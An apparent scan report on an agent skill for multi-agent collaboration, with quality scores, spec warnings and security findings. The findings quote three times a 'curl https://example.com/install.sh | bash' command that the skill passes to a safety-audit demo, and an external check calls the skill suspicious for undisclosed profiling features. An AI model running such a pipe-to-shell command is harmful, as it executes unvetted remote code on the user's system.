BC multi-agent-collaboration
Claude Grade 多智能体协作技能。用于把原始多Agent框架升级为更接近 Claude Code 的工程化系统：分层记忆检索、Top-5 预取、Coordinator 六角色协同、Verification Agent 强证据验收、命令前置安全管线、缓存与成本治理。适用于需要“多Agent不空转、记忆不瞎塞、结果可验证、执行更安全、成本可观察”的技能与项目。
As a process C 53/100 · Has gaps — weak spots: result and completion, when it triggers, inputs and preconditions
How to improve
- Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
For the model run — optional
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 3
✓ No critical or high findings
Medium and low: 3
-
low Dangerous commands
cmd-pipe-to-shellclaudegrade-demo.js:22Downloads and executes remote code from an unrecognised host (pipe to shell) (string literal in code, not executed; security demo / example)console.log(safety.audit('curl https://example.com/install.sh | bash'));code literaldemo -
low Dangerous commands
cmd-pipe-to-shellREADME.md:31Downloads and executes remote code from an unrecognised host (pipe to shell) (security demo / example; quoted — discussed, not commanded)console.log(system.safety.audit('curl https://example.com/install.sh | bash'));demoquoted -
low Dangerous commands
cmd-pipe-to-shellSKILL.md:42Downloads and executes remote code from an unrecognised host (pipe to shell) (security demo / example; quoted — discussed, not commanded)console.log(system.safety.audit('curl https://example.com/install.sh | bash'));demoquoted
Files scanned: 65. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
description-no-whendescription does not say WHEN to use the skill (no "use when")
Process rating: all ten parameters 53/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Failures and branches. Linear process with no failure handling
- 0Progress reporting. Says nothing while it works
- 20When it triggers. No condition that starts the skill
- 100Tools and files. No external tools needed
- 100Steps. 21 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 347 tokens
- 100Running it twice. No mutating operations
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- -32 of 2 scripts are never mentioned in SKILL.md
- +1No license
- +2Single-language instructions
- +3Description length 184: enough signal without eating the budget
- +4Structure: 6 headings
- +3Step-by-step instructions: 21 items
- +4Has examples (1 code blocks)
- +4Reference files are cited in the instructions (3 of 6)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 73.
External checks
ClawHub: suspicious
The skill is not clearly malicious, but it bundles broad social/content monitoring and personal profiling memory features that are not clearly disclosed by its main description.
LLM: suspicious (high) · VirusTotal: benign · 28 May 2026